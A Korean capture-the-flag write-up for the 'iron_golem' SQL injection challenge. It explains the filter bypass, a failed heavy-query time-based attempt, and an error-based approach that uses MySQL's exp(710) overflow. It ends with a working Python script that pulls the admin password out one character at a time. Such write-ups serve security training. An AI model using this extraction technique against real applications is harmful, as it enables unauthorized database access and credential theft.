공격 백터는 pw 파라미터 하나 뿐이다. pw 파라미터의 검사는 prob, _, ., (), sleep, benchmark가 필터링 되며, addslashes 함수에 들어가기 때문에 ’, “, \, Null 바이트가 \', \", \\, \Null 바이트로 치환이 된다.
Sleep 함수와 Benchmark 함수는 Time-Based Blind Injection에 사용되는 함수이다. Blind Injection은 응답의 참과 거짓을 구분할 수 없을 때 사용되는 기법인데, Time-Based는 지체되는 시간에 따라 참과 거짓을 구별하는 것이다.
현재 문제에선 내가 입력한 쿼리에 대한 결과를 얻을 수 없기 때문에 Blind Injection을 시도해야하는데, Sleep 함수와 Benchmark 함수가 필터링 되었으니 다른 방법을 찾아봐야한다.
인터넷에 찾아보니, 대량의 데이터를 요청하는 쿼리를 이용하여 Time-Based Blind Injection을 시도하는 방법을 찾을 수 있었다.
테스트를 해보려고 무거운 쿼리를 날려보니, 20분째 브라우저가 저 상태이다…. 효과는 확실한 거 같다.
2개만 넣고 돌려보니, 약 40초가 걸렸다. 이제 if문을 이용하여, Time-Based Blind Injection을 시도할 것이다.
시도를 해봤지만 실패하였다. 그 이유를 생각해보니, infomation_schema.columns이 _, .이 포함되었기 때문이다. 다른 방법을 찾아봤지만, _, .이 포함된 테이블을 사용하기 때문에 이 방법은 안될 듯 싶다.
그래서 다른 방법을 생각해보니, Error-Based SQLI이 생각이 났다.
일단 Error-Based SQLI를 시도하기 전에 확인해야할 것이 있다. Error 메시지가 노출이 되는 것을 확인해야한다. 만약 노출이 안된다면 나는 Error가 발생한지도 모를 것이다.
MYSQL의 경우 자연상수 e의 제곱근이 709을 넘어간다면 Double 타입의 범위를 오버플로우가 발생하여 Error가 발생한다고 한다. 직접해보니 Error가 발생하는 것을 볼 수 있었다.
문제에서도 시도해보니, 아주 잘 Error가 발생되는 것을 볼 수 있다.
위에 나온 쿼리문을 이용하여 pw의 길이를 구해보겠다.
32에서 Error가 발생하는 것을 확인할 수 있었다.
import requests, string
url = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'
headers = {'Cookie': 'PHPSESSID=g08kd2u2tgcm78s61tndb10ml5'}
def pwParser():
result = ''
for num in range(1, 32+1):
for s in string.ascii_lowercase + string.digits + string.punctuation:
parameter = f"?pw=%27||id=0x61646D696E%26%26IF(SUBSTR(pw,{num},1)='{s}',exp(710),1)%23"
res = requests.get(url + parameter, headers=headers)
if "DOUBLE value is out of range in 'exp(710)'" in res.text:
print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
result += s
break
print(result)
pwParser()